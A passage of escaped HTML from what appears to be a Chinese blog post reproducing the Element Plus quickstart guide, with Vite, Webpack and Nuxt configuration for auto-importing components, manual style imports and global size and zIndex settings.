...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;types\u0026#34;: [\u0026#34;element-plus/global\u0026#34;]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"按需导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"按需导入#\"\u003e\u003c/a\u003e按需导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e您需要使用额外的插件来导入要使用的组件。\u003c/p\u003e\u003ch4 id=\"自动导入推荐\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5%E6%8E%A8%E8%8D%90\" class=\"headerlink\" title=\"自动导入推荐#\"\u003e\u003c/a\u003e自动导入推荐\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5-%E6%8E%A8%E8%8D%90\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e首先你需要安装\u003ccode\u003eunplugin-vue-components\u003c/code\u003e 和 \u003ccode\u003eunplugin-auto-import\u003c/code\u003e这两款插件\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D unplugin-vue-components unplugin-auto-import\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后把下列代码插入到你的 \u003ccode\u003eVite\u003c/code\u003e 或 \u003ccode\u003eWebpack\u003c/code\u003e 的配置文件中\u003c/p\u003e\u003ch5 id=\"Vite\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Vite\" class=\"headerlink\" title=\"Vite#\"\u003e\u003c/a\u003eVite\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#vite\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport AutoImport from \u0026#39;unplugin-auto-import/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport Components from \u0026#39;unplugin-vue-components/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElementPlusResolver } from \u0026#39;unplugin-vue-components/resolvers\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch5 id=\"Webpack\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Webpack\" class=\"headerlink\" title=\"Webpack#\"\u003e\u003c/a\u003eWebpack\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#webpack\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// webpack.config.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst AutoImport = require(\u0026#39;unplugin-auto-import/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst Components = require(\u0026#39;unplugin-vue-components/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst { ElementPlusResolver } = require(\u0026#39;unplugin-vue-components/resolvers\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emodule.exports = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e想了解更多打包 (\u003ca href=\"https://rollupjs.org/\"\u003eRollup\u003c/a\u003e, \u003ca href=\"https://cli.vuejs.org/\"\u003eVue CLI\u003c/a\u003e) 和配置工具,请参考 \u003ca href=\"https://github.com/antfu/unplugin-vue-components#installation\"\u003eunplugin-vue-components\u003c/a\u003e 和 \u003ca href=\"https://github.com/antfu/unplugin-auto-import#install\"\u003eunplugin-auto-import\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"Nuxt\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Nuxt\" class=\"headerlink\" title=\"Nuxt#\"\u003e\u003c/a\u003eNuxt\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#nuxt\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e关于 Nuxt 用户, 你只需要安装 \u003ccode\u003e@element-plus/nuxt\u003c/code\u003e 即可.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D @element-plus/nuxt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后将下面的代码写入你的配置文件.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// nuxt.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineNuxtConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules: [\u0026#39;@element-plus/nuxt\u0026#39;],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e配置文档参考 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003ch3 id=\"手动导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"手动导入#\"\u003e\u003c/a\u003e手动导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003eElement Plus 提供了基于 ES Module 的开箱即用的 \u003ca href=\"https://webpack.js.org/guides/tree-shaking/\"\u003eTree Shaking\u003c/a\u003e 功能。\u003c/p\u003e\u003cp\u003e但你需要安装 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus\"\u003eunplugin-element-plus\u003c/a\u003e 来导入样式。 配置文档参考 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eApp.vue\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-button\u0026gt;我是 ElButton\u0026lt;/el-button\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e import { ElButton } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e export default {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: { ElButton },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;unplugin-element-plus/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [ElementPlus()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWARNING\u003c/p\u003e\u003cp\u003e如果使用 \u003ccode\u003eunplugin-element-plus\u003c/code\u003e 并且只使用组件 API,你需要手动导入样式。\u003c/p\u003e\u003cp\u003eExample:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/es/components/message/style/css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElMessage } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"快捷搭建项目模板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\" class=\"headerlink\" title=\"快捷搭建项目模板#\"\u003e\u003c/a\u003e快捷搭建项目模板\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们提供了 \u003ca href=\"https://github.com/element-plus/element-plus-vite-starter\"\u003eVite 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于Nuxt 用户,我们有一个 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt-starter\"\u003eNuxt 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于 Laravel 用户,我们也准备了\u003ca href=\"https://github.com/element-plus/element-plus-in-laravel-starter\"\u003eLaravel 模板\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"全局配置\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"全局配置#\"\u003e\u003c/a\u003e全局配置\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e在引入 ElementPlus 时,可以传入一个包含 \u003ccode\u003esize\u003c/code\u003e 和 \u003ccode\u003ezIndex\u003c/code\u003e 属性的全局配置对象。 \u003ccode\u003esize\u003c/code\u003e 用于设置表单组件的默认尺寸,\u003ccode\u003ezIndex\u003c/code\u003e 用于设置弹出组件的层级,\u003ccode\u003ezIndex\u003c/code\u003e 的默认值为 \u003ccode\u003e2000\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e完整引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus, { size: \u0026#39;small\u0026#39;, zIndex: 3000 })\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按需引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-config-provider :size=\u0026#34;size\u0026#34; :z-index=\u0026#34;zIndex\u0026#34;\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;app /\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;/el-config-provider\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineComponent } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElConfigProvider } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineComponent({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ElConfigProvider,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e setup() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zIndex: 3000,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e size: \u0026#39;small\u0026#39;,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"使用-Nuxt-js\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E4%BD%BF%E7%94%A8-Nuxt-js\" class=\"headerlink\" title=\"使用 Nuxt.js#\"\u003e\u003c/a\u003e使用 Nuxt.js\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E4%BD%BF%E7%94%A8-nuxt-js\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们也可以使用 \u003ca href=\"https://v3.nuxtjs.org/\"\u003eNuxt.js\u003c/a\u003e:\u003c/p\u003e\u003ch2 id=\"开始使用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"开始使用#\"\u003e\u003c/a\u003e开始使用\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BC%80%E5%A7%8B%E4%BD%BF%E7%94%A8\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e现在你可以启动项目了。 具体每个组件的使用方法, 请查阅 \u003ca 